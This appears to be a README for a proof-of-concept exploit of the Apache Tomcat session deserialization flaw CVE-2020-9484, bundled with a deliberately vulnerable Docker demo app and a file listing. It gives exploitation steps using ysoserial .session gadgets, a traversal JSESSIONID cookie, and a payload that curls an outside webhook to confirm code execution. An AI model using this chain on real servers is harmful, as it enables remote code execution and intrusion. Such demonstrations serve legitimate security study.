PoC exploit for CVE-2020-9484, and a vulnerable web application for its demonstration
This repository contains a proof of concept exploit for CVE-2020-9484, along with an [example web server](web-application-source/POC_CVE-2020-9484) that is vulnerable to this exploit.
----
### Prerequisites for this vulnerability to be exploitable
Affected tomcat versions are:
- Apache Tomcat 10.x < 10.0.0-M5
- Apache Tomcat 9.x < 9.0.35
- Apache Tomcat 8.x < 8.5.55
- Apache Tomcat 7.x < 7.0.104
1. The `PersistentManager` is enabled and it is using a `FileStore`.
2. The attacker is able to upload a file with arbitrary content, has control over the file name extension (particularly `.session` files), and knows the location where it is uploaded.
3. There are gadgets in the classpath (e.g. `clojure` or `commons-collections`) that can be used for a Java deserialization attack.
----
### The Example Vulnerable Service
The example service is a web server with two pages, `/index.jsp` (or simply `/`) and `/list.jsp`. It allows the user to upload and download files (specific to the current session), effectively acting as file storage.
- It supports POST requests to `/upload` supporting file upload, and allows the user to choose the file name. This makes it possible to upload files with the extension `.session`. It is also known that the server stores the files in the directory `/var/tmp/uploads`.
- It has `PersistentManager` enabled using a `FileStore`. (see `context.xml`)
- It has `clojure:1.8.0` in the classpath thus facilitating deserialization attack. (see `pom.xml`)
----
### [The Exploit](exploit.py)
To set up the example vulnerable service:
```
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat
```
The service should now be up and running at `http://localhost:8085/POC_CVE-2020-9484/`.
Now adjust the configuration variables at the beginning of [exploit.py](exploit.py). The `PAYLOAD`, here a shell script, can be any file that can be executed by the server.
```py
UPLOAD_URL = 'http://localhost:8085/POC_CVE-2020-9484/upload' # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD = 'file' # as in the upload page's html form
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/' # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD = '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE = "Clojure" # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage
```
Now run [exploit.py](exploit.py).
It performs the following actions:
1. Downloads [yoserial](https://github.com/frohoff/ysoserial).
2. Uses yoserial to generate malicious serialized objects (as `.session` files), which will eventually get deserialized on the server:
- **chmodPayload.session** to give executable permissions to the `PAYLOAD` file uploaded to the server.
- **executePayload.session** to execute the `PAYLOAD` file on the server.
3. Uploads the `PAYLOAD` as a file to the server.
4. Uploads the `.session` files generated above to the server.
5. Triggers a request to the server with the `JSESSIONID` cookie being the path of the previously uploaded `.sesssion` files relative to the server's session storage, thus triggering their deserialization on the server and subsequent execution of the payload.
----
### Footnotes
- Many servers store user-uploaded files in a path of the form `/path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename`. In such a case, using a `JSESSIONID` of the form `../../../../tmp` (instead of an arbitrary value like `"1337"*8` used in `exploit.py` above) with the file upload POST request can potentially be helpful in determining where the uploaded file is stored on the server.
[4.0K] /data/pocs/6846c82d41fc17e00dc0db83bc5bce55f0bd050a
├── [3.3K] exploit.py
├── [4.0K] README.md
└── [4.0K] sample-vulnerable-server
├── [1.6K] context.xml
├── [ 252] Dockerfile
├── [3.1M] POC_CVE-2020-9484-1.0-SNAPSHOT.war
└── [4.0K] web-application-source
└── [4.0K] POC_CVE-2020-9484
├── [ 10K] mvnw
├── [6.6K] mvnw.cmd
├── [2.0K] pom.xml
└── [4.0K] src
└── [4.0K] main
├── [4.0K] java
│ └── [4.0K] io
│ └── [4.0K] github
│ └── [4.0K] savsch
│ └── [4.0K] poc_cve20209484
│ ├── [ 196] Config.java
│ ├── [1.2K] DownloadServlet.java
│ ├── [ 710] HelloServlet.java
│ └── [1.5K] UploadServlet.java
└── [4.0K] webapp
├── [ 495] index.jsp
├── [1.0K] list.jsp
└── [4.0K] WEB-INF
└── [ 304] web.xml
12 directories, 15 files